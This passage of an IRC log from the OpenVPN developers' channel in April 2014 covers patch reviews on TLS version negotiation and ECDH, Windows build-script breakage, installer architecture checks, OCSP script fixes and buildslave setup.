IP address -> restart server" 16:53 -!- mattock is now known as mattock_afk 22:08 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has joined #openvpn-devel --- Day changed Sat Apr 26 2014 02:39 -!- mattock_afk is now known as mattock 04:27 -!- mattock is now known as mattock_afk 05:27 -!- mattock_afk is now known as mattock 05:33 <@syzzer> cron2: the discussion on pietrek boiled down to whether an option to skip DH-parameters should be added 05:33 <@cron2> syzzer: that's the conclusion I came to, after re-reading all of it ("your new patch is basically my code" :) ) 05:34 <@syzzer> yeah, I didn't really know what to do with that... 05:34 <@syzzer> so I chose to be blunt p 05:36 -!- mattock is now known as mattock_afk 05:37 <@syzzer> but the removal of the DH-restriction is not really part of adding ECDH, it is just blocked by added ECDH 05:38 <@syzzer> so if we want to do that (I think we do, actually), we can do so in a separate patch 05:39 <@syzzer> but I have to go now 06:33 -!- debbie10t [~ma1com10t@host-92-20-12-238.as13285.net] has joined #openvpn-devel 06:40 <@cron2> ARGH 06:40 * cron2 hates our trac 06:40 * cron2 added a *quite* long comment to #306, and upon submit, it told me "no permission" 06:40 <@cron2> *plus*, it doesn't even save the draft, so when klicking "back", all was lost 06:42 -!- mattock_afk is now known as mattock 06:43 -!- debbie10t [~ma1com10t@host-92-20-12-238.as13285.net] has quit [Ping timeout: 255 seconds] 07:22 -!- debbie10t [~ma1com10t@host-92-20-12-238.as13285.net] has joined #openvpn-devel 07:22 <@cron2> mattock: do you have write access to the openvpn-gui repo? 07:54 <@cron2> ugh 07:54 <@cron2> the "new and improved" build system is so full of horrendous shit 07:54 <@cron2> like "I'm not going to download openvpn-gui-6.tar.gz if there is any other file named openvpn-gui-[0-9]* in the source directory" 07:55 <@cron2> and "I'm not going to actually unpack openvpn-gui-6.tar.gz, but openvpn-gui-*" 07:55 * cron2 spent an hour now trying to find out why it kept building -5, and not the "-6" tar ball I've created, put inthere, and adapted build.vars accordingly 07:57 <@cron2> (I put -6 in the wrong sources/ directory, it found -5 there, did not complain about not finding -6, unpacked just "what it found" and built that) 08:04 <@cron2> I'll send a patch later on 09:01 -!- mattock is now known as mattock_afk 10:02 -!- debbie10t [~ma1com10t@host-92-20-12-238.as13285.net] has left #openvpn-devel [] 11:46 -!- debbie10t [~ma1com10t@host-92-20-12-238.as13285.net] has joined #openvpn-devel 11:48 < debbie10t> I thought it might be prudent to bring this particular post to your collective attention but I am not sure how serious the complaint is: https://forums.openvpn.net/post40629.html#p40629 11:48 <@vpnHelper> Title: OpenVPN Support Forum IOS 6.0.1 jailbroken and connect : OpenVPN Connect (iOS) (at forums.openvpn.net) 11:48 < debbie10t> This all appears to link back to this post: https://forums.openvpn.net/topic14037.html 11:48 <@vpnHelper> Title: OpenVPN Support Forum OpenVPN Connect iOS verification problem : OpenVPN Connect (iOS) (at forums.openvpn.net) 11:48 < debbie10t> and basically it is all to do with heartbleed upgrades 11:49 < debbie10t> dammit this should be in -AS sorry 11:49 < debbie10t> no actually it is OPENVPN v233 11:49 < debbie10t> aswell 11:49 <@cron2> now I'm curious 11:50 < debbie10t> it is polarssl problem 11:50 < debbie10t> apparently 11:51 <@cron2> yeah 11:51 <@cron2> the first thread is "if you enable tls-negotiation, older iOS builds will fail to connect" (and 2.3.3 brings that with it) 11:52 <@cron2> I'm not sure why he can't upgrade, iOS 6 should handle newer OpenVPN versions fine (iOS 5 chokes on the fat binaries) 11:53 <@cron2> mmmh. I'm fairly sure the bug was fixed in 1.0.3, which worked nicely on iOS 6 11:57 <@cron2> argh, "waiting for moderator review" 11:58 <@cron2> huh, that was fast. Auto-moderator? anyway. Answered. 12:04 < debbie10t> cron2: thank you very much .. job done ;)! 12:22 <@cron2> I remember that we didn't upgrade our corp server to "master with tls-negotiation" because the iOS clients were known to be broken - so when that upgrade finally came, we could :) 13:08 <@cron2> oh yay 13:11 -!- siruf [~siruf@unaffiliated/motley] has quit [Ping timeout: 240 seconds] 13:12 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 13:13 <@cron2> IV_GUI_VER=_____________________1____________1_____________________1 13:13 <@cron2> hrm, this is very much not working 13:13 <@vpnHelper> RSS Update - tickets: #396: Windows installer happily installs 64bit version on 32bit windows <https://community.openvpn.net/openvpn/ticket/396> 13:14 <@plaisthos> cron2: :) 13:14 <@plaisthos> or you got an utf-16 string or something like that 13:14 <@plaisthos> hm no utf-16 should have still every 2nd char readable 13:15 <@cron2> it *should* have read "Windows GUI 601 build I901" 13:21 <@cron2> stupid openvpn doesn't log it's "setenv" args 14:03 <@plaisthos> :) 14:03 <@plaisthos> but unicode wide (utf-8) should boil down to the ascii chars mixed with \0 15:37 <@cron2> yeah. I'm not sure what exactly is happening - hopefully someone on -devel can look at the code and explain... 15:44 <@cron2> omg 15:44 * cron2 knows why mattock's snapshot builds do not fail... 15:44 <@cron2> the script does a git checkout, builds a tarball from there, puts the tarball to the sources/ directory, ignores it, downloads 2.3.3 sources, and builds these... 15:44 <@cron2> "cd ${WORKDIR}/openvpn*" 15:50 <@cron2> and staring at configure runs again and again, I truly wonder why our configure really checks whether bind(), socket(), connect() are there... 15:55 <@cron2> socket.c: In function 'socket_bind': 15:55 <@cron2> socket.c:1124:40: error: 'IPV6_V6ONLY' undeclared (first use in this function) 15:55 <@cron2> *now* we're talking 15:55 <@cron2> socket.c: In function 'openvpn_connect': 15:55 <@cron2> socket.c:1218:32: error: 'const struct sockaddr' has no member named 'addr' 15:55 <@cron2> socket.c:1218:62: error: 'const struct sockaddr' has no member named 'addr' 15:55 <@cron2> socket.c: In function 'socket_recv_queue': 15:55 <@cron2> socket.c:3135:45: error: 'struct link_socket_addr' has no member named 'local' 16:06 <@syzzer> oh, goodie! 16:06 <@syzzer> not much people using master on Windows I guess :p 17:33 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 246 seconds] 17:37 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 19:05 -!- debbie10t [~ma1com10t@host-92-20-12-238.as13285.net] has left #openvpn-devel [] --- Day changed Sun Apr 27 2014 03:15 <@syzzer> gah, the OCSP script in contrib/ is actually relying on the serial to be in hex, but in a different representation then PolarSSL generates it... 03:18 <@syzzer> plaisthos' patch fixes the script only partially, because it not only checks the return code, but also verifies the stdout output, where it needs hex representation 03:23 <@cron2> wah 03:24 <@syzzer> this seemed like such a trivial fix :p 03:25 <@cron2> indeed. Just like my IV_GUI_VER thing yesterday... :-) 03:26 <@syzzer> ah, wait, I can actually fix this easily (I think...) 03:27 <@syzzer> "openssl ocsp" returns the serial in decimal if you supply it in decimal, so that would mean removing the "ox" prefix in the script should suffice \o/ 03:27 <@syzzer> "0x", that is 03:50 <@syzzer> patches sent, /me out. Time to clean the house, do the laundry, etc. 05:00 <@plaisthos> !git 05:00 <@vpnHelper> "git" is (#1) For the stable git tree: git clone git://git.code.sf.net/p/openvpn/openvpn or (#2) For the development git tree: git://git.code.sf.net/p/openvpn/openvpn-testing or (#3) Browse the git repositories here: http://sourceforge.net/p/openvpn/openvpn-testing/ci/master/tree/ or (#4) See !git-doc how to use git or (#5) git troubles? http://justinhileman.info/article/git-pretty/git-pretty.png 05:00 <@vpnHelper> or (#6) for the windows TUN/TAP driver repo, look at !tapdrvr 05:04 <@plaisthos> cron2: I'll setup openvpn build on my windows build 05:05 <@plaisthos> and see what happens 07:14 -!- debbie10t [~ma1com10t@host-92-20-12-238.as13285.net] has joined #openvpn-devel 07:33 -!- debbie10t [~ma1com10t@host-92-20-12-238.as13285.net] has quit [Ping timeout: 255 seconds] 07:36 -!- debbie10t [~ma1com10t@host-92-20-12-238.as13285.net] has joined #openvpn-devel 07:45 -!- debbie10t [~ma1com10t@host-92-20-12-238.as13285.net] has quit [Ping timeout: 255 seconds] 08:28 <@vpnHelper> RSS Update - gitrepo: Make serial env exporting consistent amongst OpenSSL and PolarSSL builds. <https://github.com/OpenVPN/openvpn/commit/f80a52b09eed8e5e0cad990c56ec99256d6cc2d0> || Fix OCSP_check.sh to also use decimal for stdout verification. <https://github.com/OpenVPN/openvpn/commit/6ea78cbef6367590567156a20106c620fec224c9> || Change signedness of hash in x509_get_sha1_hash(), fixes compiler warning. <https://github.com/OpenVP 08:40 <@vpnHelper> RSS Update - gitrepo: More IPv6-related updates to the openvpn man page. <https://github.com/OpenVPN/openvpn/commit/2a97e69e71d4afb9c32268890e13db19cb73196b> 08:51 <@vpnHelper> RSS Update - gitrepo: Fix build system to accept non-system crypto library locations for plugins. <https://github.com/OpenVPN/openvpn/commit/ea31bc680fc83946b2cc8d0c93544a1ab2a01d63> 09:23 < n13l> functional prototype of QRCODE authentication (openvpn plugin + qrview) based on TLS Channel Bindings: http://n13l.github.io/qrview/ 09:42 < n13l> (requires generic secured and confidental channel in smartphone. no need for certificates(+keys) and/or sensitive data like user/pass) on pc desktop) 12:51 -!- FreeSpencer [~FreeSpenc@unaffiliated/freespencer] has joined #openvpn-devel 12:54 -!- FreeSpencer [~FreeSpenc@unaffiliated/freespencer] has left #openvpn-devel ["Textual IRC Client: www.textualapp.com"] 15:16 <@cron2> syzzer: I'm curious for James' response :-) 15:16 <@syzzer> yes, me too... 15:16 <@syzzer> I didn't look carefully at the code before. He convinced me of the principle, but this seems like a mistake to me. 15:17 <@cron2> tbh, the polarssl part didn't make too much sense for me either, but since it's not my original code, I just made sure the bits that are there in 2.3 get patched accordingly... 15:17 <@cron2> and your NAK actually means our approach to this works :-) - putting it back for review 15:19 <@syzzer> looking more carefully at the openssl part, I don't really get the changes to tls_ctx_set_options() either. TLS_VER_UNSPEC < TLS_VER_1_0 < TLS_VER_1_1 < TLS_VER_1_2, so why wrap the whole the while thing in a if (tls_version_min > TLS_VER_UNSPEC) ? 15:20 <@cron2> for openssl, the magic bit is in tls_ctx_server_new() 15:20 <@cron2> SSLv23_server_method() instead of TLSv1_server_method() 15:21 <@cron2> but yeah, in tls_ctx_set_options(), the change looks like a quick hack - "just (conditionally) undo everything the previous patch did" 15:25 <@syzzer> yup, the part in tls_ctx_server_new() makes sense. That's the important one. The changes in tls_ctx_change_options add code but don't change behaviour... 15:25 <@syzzer> but have to go now, time to catch up on this this called sleep 15:25 <@cron2> maybe just add a comment there about TLS_VER_UNSPEC being numerically lower, so nothing is set... 15:25 <@cron2> yeah, here too 15:25 <@cron2> night :) 15:26 <@syzzer> goodnight :) --- Day changed Mon Apr 28 2014 01:37 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 01:56 -!- mattock_afk is now known as mattock 02:07 <@cron2> mornin' 02:07 <@cron2> mattock: you've seen my weekend rants? 02:40 <@mattock> yes 02:41 <@mattock> I saw you had some fun with Windows 02:52 <@cron2> yeah, you could call it that... 03:11 <@cron2> mattock: releasing 2.3.4 today is not going to work out. The tls-version-negotiation patch got NAKed, so "waiting for James and syzzer to agree" 03:15 <@mattock> ok 03:15 <@mattock> did you get your build-snapshot thingy working? 03:16 <@mattock> or did you have problems with it, or "some other people"? 03:17 <@cron2> I got build-snapshot to actually build "master". By default, it does a git clone, make a tarball from it, and then download 2.3.3 and builds that - which is why it is not giving errors to you 03:17 <@cron2> the whole idea of building it's own tarball and then relying on $OPENVPN_VERSION to "build the right version" is... just so slightly... broken 03:18 <@cron2> a proper fix would be to just export the version from the tarball it just created to "generic/build" 03:18 <@mattock> hmm, so did alon introduce a bug? 03:18 <@mattock> we should definitely fix this 03:18 <@cron2> no idea who coded that, but the whole setup is totally brittle and falls apart the moment you do anything that is "not the way it was intended" 03:18 <@cron2> what I do right now is 03:18 <@cron2> OPENVPN_VERSION=2.3_git EXTRA_OPENVPN_CONFIG="--disable-snappy" ./build-snapshot --use-depcache 03:19 <@cron2> ... and that gets me the expected build error in socket.c 03:19 <@mattock> ah yes, now I think I understand 03:19 <@mattock> I'll check what my setup looks like 03:20 <@cron2> trying to build the gui with "./build-complete" I ran into similar issues with it not checking all of the file name before downloading/unpacking 03:20 <@cron2> so you tell it "I want gui version 601" 03:20 <@cron2> you have "openvpn-gui-5.tar.gz" in sources/ 03:20 <@cron2> it will check for "openvpn-gui-[0-9]*", find "-5", happily extract that 03:20 <@cron2> then will "cd $SOURCEDIR/openvpn-gui*" (again, no matter which version) 03:21 <@cron2> and build that 03:21 <@cron2> a fix for that is in the patch I sent to the list (in the IV_GUI_VER mail) 03:21 <@cron2> but this all needs cleaning up, like "just build what I tell you, and not what you happen to find lying around", etc. 03:22 <@cron2> mattock: found a new installer weirdness, btw, and made you a trac ticket :-) 03:23 <@mattock> yep, I have 03:23 <@mattock> OPENVPN_VERSION="${OPENVPN_VERSION:-2.3_master}" 03:23 <@mattock> that's probably residue from earlier times 03:24 <@mattock> so changing that to 2.3_git should ensure the correct behavior, right? 03:25 <@cron2> I'm not exactly sure when our autoconf thing will do "2.3_master" or "2.3_git", tbh... but the tarball "build-snapshot" creates is called "2.3_git"... 03:26 <@cron2> so in your case, I'd guess that there is an old openvpn-2.3_master.tar.gz still lying around, and it's happily building that one all the time :-) 03:30 <@mattock> I see why the build succeeded 03:30 <@mattock> openvpn-build was not being rebased before the build, so it was stuck at an old build configuration 03:31 <@mattock> now it scraps both the openvpn-build and openvpn dirs and clones them from scratch 03:31 <@mattock> let's see what failures we get now... 03:34 <@cron2> haha, now it tries downloading 2.3_git and fails :-) 03:34 <@cron2> btw, something else is definitely bogus - it re-downloads tap-windows-9.9.2_3.zip every single time the scripts are started... 03:35 <@plaisthos> cron2: I gave up yesterday on building openvpn after Openssl did not find ml64.exe and failed to compile. I will have to do another try later 03:35 <@cron2> plaisthos: I think the easiest way today is "get a unbuntu 12.04 VM, and follow mattock's detail instructions on all the packages you need" 03:36 <@cron2> that's how I got my build environment together 03:37 <@mattock> cron2: you might get some emails for my build test scripts - ignore them 03:39 < _bt> i didn't have too much trouble getting windows builds working 03:39 < _bt> infact i think i only needed a patch for openssl 03:40 <@cron2> mattock: I'm already ignoring them :) 03:40 <@mattock> I removed the email stuff so you won't receive spam for a while :) 03:40 <@cron2> _bt: which OS did you use? 03:41 < _bt> ubuntu 14.04 03:41 <@cron2> "you need ubuntu", I'd say :) 03:41 < _bt> yeah ubuntu or debian 03:42 <@mattock> _bt: I'm building on Ubuntu 12.04, and with the backported mingw packages that works 03:42 <@mattock> haven't tried 14.04 03:44 <@mattock> cron2: now the script is building from openvpn-2.3_git.tar.gz 03:45 <@mattock> it builds using the dependencies listed in the openvpn-build repo (windows-nsis/build-complete.vars) except that it overrides OPENVPN_VERSION with 2.3_git 03:46 <@mattock> openvpn-build dir is scrapped on every run and then cloned afresh 03:47 <@plaisthos> cron2: maybe. I thought, since I have VS ultimate, why not use it 03:51 <@mattock> plaisthos: I say "thou must not deviate from the paved path" :) 03:51 <@mattock> which is Ubuntu 03:55 <@mattock> cron2: it seems buildbot shows all green now 03:55 <@mattock> so SF.net Git was partially unusable the last time 03:56 <@cron2> plaisthos: ah, you tried building on windows. How that is a very daring journey... 03:57 <@cron2> mattock: yeah, we fixed the unix plattforms for good :-) (I have some spurious t_client failures, but I think those are timeouts if the network to the server is slower than usual) 03:57 <@mattock> should we add "--disable-snappy" to default build options on Windows (openvpn-build/generic/build.vars)? 03:58 <@cron2> well, either that, or figure out how to build with static-libg++ 03:58 <@mattock> I'd vote for "either that" if nobody starts complaining loudly about missing snappy support 03:58 <@mattock> s/if/unless/g 03:58 <@mattock> uh 03:58 <@mattock> unless somebody starts complaining... 04:07 <@cron2> well, Snappy is something that James wanted, so maybe check with him :-) 04:09 <@mattock> _bt: are your NSI fixes ready? 04:09 < _bt> yea 04:09 < _bt> i sent a pull request with them 04:10 <@plaisthos> now that we lzo4, do we still need snappy? 04:14 <@cron2> plaisthos: I have no idea 04:15 <@cron2> _bt: since you are the nsi wizard :-) - do you have something "ready to go" that would check platform compatibility, as in "do not install 64 bit binaries on a 32 bit windows"? 04:16 < _bt> yes 04:16 <@cron2> (other way round works, but this way, the installer just happily installs stuff that you can't use then) 04:16 <@cron2> cool :) 04:16 < _bt> have you considered just the 1 installer? 04:16 < _bt> with both sets of binaries 04:17 <@cron2> we do that for the tap driver today. For the openvpn binary, we might want to give people the option - someone might have a 32bit-only plugin, or such 04:19 <@cron2> trac#396 is the one about 32/64bit 04:21 <@mattock> currently we can create a separate installers for Windows XP and Windows Vista+ with either NDIS 5 or NDIS 6 drivers with no changes to openvpn-build 04:21 <@mattock> which is nice 04:24 <@mattock> if we wanted to support all possible combinations (architecture, tap-windows driver version, driver bitness) that would probably mean quite a lot of changes to openvpn.nsi 04:24 <@mattock> _bt: any opinions? 04:24 <@mattock> as to whether which route we should take? 04:26 <@mattock> also there's the thing that having a single installer which has everything would be a much bigger installers - how much, I don't know atm 04:28 < _bt> yeah my concerns were installer size 04:28 < _bt> but if thats the only setback for the user, then it's not a massive one, considering the improvements 04:29 < _bt> although cron2 raises a good point about 32 bit only plugins on x64 04:29 < _bt> but that could be counteracted with a new installer option 04:42 <@mattock> -> lunch 09:05 <@vpnHelper> RSS Update - tickets: #397: configure error for --enable-small vs. debug <https://community.openvpn.net/openvpn/ticket/397> 09:56 < _bt> cron2: i've modified the installer as requested 09:56 < _bt> do you have a 32 bit OS to test? 09:59 <@cron2> _bt: yes :) 10:04 < _bt> ok where do you want the file 10:12 <@cron2> _bt: "somewhere clickable" 10:17 < _bt> https://www.dropbox.com/s/4dlf77ovpyqn7c1/openvpn-install-2.3.3-I003-x86_64.exe 10:17 <@vpnHelper> Title: Dropbox - openvpn-install-2.3.3-I003-x86_64.exe (at www.dropbox.com) 10:17 < _bt> it should bomb out straight away 10:17 <@cron2> downloading... 10:17 < _bt> you can test it on 64 as well if you like 10:18 < _bt> i see no difference when i run it 10:18 <@cron2> "This installer is designed to run on 64bit systems only". Yep :-) 10:18 <@cron2> "ACK!" 10:19 <@mattock> +1 10:19 < _bt> do you want me to commit this and cancel + re push? 10:19 <@cron2> yes 10:19 < _bt> or are there some more changes that need to go in 10:19 <@mattock> cron2: now I managed break my build-snapshot 10:19 <@mattock> I'll do another build with logs and mailing and all 10:19 <@cron2> _bt: this is all *I* managed to get wrong when installing. Others might be more creative :-) but we don't know yet 10:20 <@cron2> mattock: great. (plaisthos has started to look into fixing the breakage, I think) 10:23 <@cron2> mattock: well, now I got a mail, but that is "weird" - it actually fails configure already 10:23 <@mattock> wait for it... :P 10:24 <@mattock> it's now building openssl 10:26 <@mattock> btw. I put an NDIS 6-enabled 64-bit Windows installer here: 10:26 <@mattock> http://build.openvpn.net/downloads/releases/openvpn-install-2.3.3-I602-x86_64.exe 10:27 < _bt> https://github.com/OpenVPN/openvpn-build/pull/7 10:27 <@vpnHelper> Title: prevent 64-bit installer running on 32-bit systems by freddysdad · Pull Request #7 · OpenVPN/openvpn-build · GitHub (at github.com) 10:27 <@mattock> I'm having trouble launching it on Win7 64-bit - it just tries to launch and then fails silently 10:28 <@mattock> either my new build VM is acting up or there's some digital signature issue 10:28 < _bt> cron2: are you able to test 32 bit works on 32 bit okay? 10:29 < _bt> ive tested 64-bit and 32-bit on 64-bit both work correctly as expected 10:32 <@mattock> hmm, the osslsigncode tool might be culprit 10:34 <@mattock> windows event logs are pretty useless... there's an error alright, but nothing useful 10:37 <@mattock> cron2: I think we now have a somewhat useful build-snapshot failure 10:39 < _bt> cron2: https://www.dropbox.com/s/93bv0onmhzhueat/openvpn-install-2.3.3-I003-i686.exe - 32 bit version for testing 10:39 <@vpnHelper> Title: Dropbox - openvpn-install-2.3.3-I003-i686.exe (at www.dropbox.com) 11:28 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 11:43 <@cron2> _bt: installation worked, but starting the gui failed ("libgcc_s_sjl-1.dll") 11:43 <@cron2> but that's a compilation issue, the installer itself looks good 11:45 <@cron2> mattock: your build error is interesting, as it has far less failures than mine 11:45 <@mattock> cron2: ok, strange 11:45 <@mattock> I'm debugging odd Windows installer startup failures with ProcessMonitor 11:46 <@mattock> that's also "fun" 11:46 <@mattock> think about strace for Windows 11:46 <@cron2> 3135:45 is what I have as well, but I have more :-) - ah. The other error is a few lines further up. You might want to compile with "-j1" - tracking back errors when parallel makes are running is a PITA 11:47 <@mattock> ok, I'll add that 14:07 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn-devel 14:07 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 15:21 -!- mattock is now known as mattock_afk 15:33 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has quit [Remote host closed the connection] 15:34 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has joined #openvpn-devel 15:42 <@cron2> syzzer: thanks. Will look at that "ASAP" (looks like wednesday) 15:43 <@syzzer> cron2: great. Are there new release plans yet? 15:51 <@cron2> "Monday!" :-) 15:52 <@cron2> well, it really depends on the TLS version patches, and whether we can agree what to do with polar 15:53 <@cron2> I want to hear from James on that... otherwise, mattock received quite a bit of nice installer improvements (dunno whether they are merged yet :) ), and I've merged all 2.3.4-in-queue patches but one... 16:00 <@syzzer> actually quite some small improvements in 2.3.4 too then, nice :) 16:01 <@syzzer> I'm preparing a proposed alternative to James' patch, hopefully that helps to speed things up 19:33 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Ping timeout: 240 seconds] 22:25 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has quit [Remote host closed the connection] 23:10 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has joined #openvpn-devel 23:18 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 245 seconds] 23:25 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 23:26 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ --- Day changed Tue Apr 29 2014 01:07 -!- mattock_afk is now known as mattock 01:10 <+krzee> syzzer, would you be able to tell me if i benefit any by using 4096 bit dh params? 01:10 <+krzee> for example, i know with tls-auth that would be a big waste of time as only a small portion would be used 01:11 <+krzee> and i know you know the crypto code very well so i directed the ? at you ;] 01:17 <+krzee> i already use it because i believe it makes a difference with dhparam 02:19 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 245 seconds] 02:56 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 03:25 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 246 seconds] 03:28 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 03:28 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 03:38 < _bt> cron2: 03:38 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn-devel 03:38 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 03:39 < _bt> cron2: https://github.com/OpenVPN/openvpn-build/commit/7b99b78e107a64f4098e39b2abeb2396b554c24c 03:39 <@vpnHelper> Title: give pointer on fixing missing libgcc_s_sjlj-1.dll · 7b99b78 · OpenVPN/openvpn-build · GitHub (at github.com) 03:56 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 03:56 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 04:59 <@syzzer> krzee: yes, larger DH-parameters really make sense 04:59 <@syzzer> they should be equal or preferrably even larger than your RSA key size 04:59 <@syzzer> they don't have anything to do with TLS-auth though 05:03 <@cron2> mornin' 05:03 <@mattock> morning 05:03 <@cron2> extremely busy day today, so don't expect timely responses from me... 05:03 <@syzzer> the big win however is using master, and switching to ECDHE ;) 06:00 <@cron2> _bt: yep, makes sense 06:01 <@plaisthos> syzzer: :D 06:01 <@plaisthos> coming to your android phone with OpenVPN for Android 0.6.14 06:13 <@mattock> plaisthos: will 0.6.14 also come to my Android tablet? :P 06:14 <@cron2> Buildslave for this Build: slave-arch-amd64 06:14 <@plaisthos> mattock: maybe ;) 06:14 <@cron2> mattock: shouldn't the responsible user be in there? All mine have "cron2" in their name... 06:21 <@mattock> we can do that, but the buildslave maintainer is also visible on buildslave info (http://10.177.36.101:8010/buildslaves/slave-arch-amd64) 06:33 <@cron2> we should be consistent, and that's what you told me how they should be named :) 06:34 <@cron2> syzzer: well, you have my ACK (as it matches our discussion on Sunday), but I really really want to hear from James on that 07:19 <@syzzer> cron2: yup, I agree 07:33 <@mattock> cron2: it seems roentgen's buildslave does not run the t_client.sh tests 07:33 <@mattock> how does "make check" test if it will / can run those tests? 07:37 <@cron2> "if the t_client.rc is there, run the test" 07:37 <@cron2> well, it will tell you in the output what it did, and why... 07:49 <@mattock> actually it told nothing 07:49 <@mattock> the problem was the usual: missing fping and fping6 07:50 <@mattock> that causes t_client.sh to "exit 77" which is not caught as an error 07:50 <@cron2> no, it's "skip". But it will write that to stderr 07:50 <@mattock> basically the buildslave just runs the basic tests and is content 07:51 <@mattock> anyways, there was no visible error in the buildmaster webui 07:51 <@mattock> I believe that if it did exit 1 (coupled with "ERROR: fping not found") then buildbot would catch it 08:01 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has quit [Ping timeout: 272 seconds] 08:05 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has joined #openvpn-devel 08:10 <@mattock> roentgen's buildslave seems to be fully functional now 08:18 <@mattock> by the way I decrappified the buildslave docs on community: https://community.openvpn.net/openvpn/wiki/SettingUpBuildslave 08:18 <@vpnHelper> Title: SettingUpBuildslave – OpenVPN Community (at community.openvpn.net) 08:30 < _bt> any use for me to set up a buildslave? 08:34 <@cron2> _bt: if you have interesting platforms :-) - like "Solaris on Sparc" or such. I think i32/amd64 is pretty much covered 08:37 < _bt> unfortunately i do not 09:08 <@plaisthos> or a raspberry pi :) 09:14 < _bt> yes i have a raspberry pi 09:14 < _bt> i could sort that out 09:15 <@plaisthos> :) 09:36 <+krzee> thank you syzzer 10:17 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Ping timeout: 265 seconds] 10:33 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:33 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 10:43 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn-devel 10:43 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 10:46 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Read error: Connection reset by peer] 10:47 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn-devel 10:47 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 11:30 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving] 11:42 -!- derRichard [~derRichar@pippin.sigma-star.at] has joined #openvpn-devel 11:42 < derRichard> hi 11:43 < derRichard> is the openvpn for android app opensource? i don't see it on http://openvpn.net/index.php/open-source/downloads.html 11:43 <@vpnHelper> Title: Downloads (at openvpn.net) 11:47 <+krzee> yes 11:47 <+krzee> !android 11:47 <@vpnHelper> "android" is (#1) an open source OpenVPN client for ICS is available in Google Play, look for OpenVPN for Android. FAQ is here: http://code.google.com/p/ics-openvpn/wiki/FAQ or (#2) If running cyanogenmod, openvpn and busybox are already installed for you! or (#3) If you do not have cyanogenmod or ICS, but your device is rooted, you can use android-openvpn-installer and openvpn-settings from the 11:47 <@vpnHelper> market 11:47 <+krzee> derRichard, http://code.google.com/p/ics-openvpn/source/checkout 11:47 <@vpnHelper> Title: Source Checkout - ics-openvpn - Openvpn for Android 4.0+ - Google Project Hosting (at code.google.com) 11:49 < derRichard> krzee: thanks a lot for the pointer! 11:50 <+krzee> np =] 11:50 < derRichard> i thought the android openvpn is a c++ rewrite of openvpn 11:50 <+krzee> "openvpn connect" is 11:50 <+krzee> "openvpn for android" is the opensource 11:51 <+krzee> "openvpn connect" rewrite was necessary because of the IOS app store and their terrible "no GPL" requirement 11:51 < derRichard> hmm, but "openvpn connect" is the only one that works without a root'ed phone? 11:51 <+krzee> no, both openvpn connect AND openvpn for android work without root? they use the android VPN API 11:51 <+krzee> derRichard, can you join #openvpn instead? 11:51 < derRichard> sure 11:53 -!- derRichard [~derRichar@pippin.sigma-star.at] has left #openvpn-devel [] 14:01 -!- roentgen_ [~irc@openvpn/community/support/roentgen] has joined #openvpn-devel 14:01 -!- mode/#openvpn-devel [+v roentgen_] by ChanServ 14:03 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Ping timeout: 276 seconds] 14:15 -!- roentgen_ [~irc@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 14:19 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn-devel 14:19 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 15:14 <@mattock> all green for arch-amd64 15:25 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 252 seconds] 15:27 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 15:27 -!- mode/#openvpn-devel [+o pekster] by ChanServ 16:10 <@vpnHelper> RSS Update - tickets: #398: socket.c does not compile with --disable-socks <https://community.openvpn.net/openvpn/ticket/398> 16:12 <@vpnHelper> RSS Update - gitrepo: Fix is_ipv6 in case of tap interface. <https://github.com/OpenVPN/openvpn/commit/db037c20086587a609ef33127c15de080270f2cb> 17:35 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 17:37 -!- krzee [~k@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 17:38 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 17:38 -!- mode/#openvpn-devel [+v krzee] by ChanServ 18:01 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Ping timeout: 265 seconds] 19:53 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping 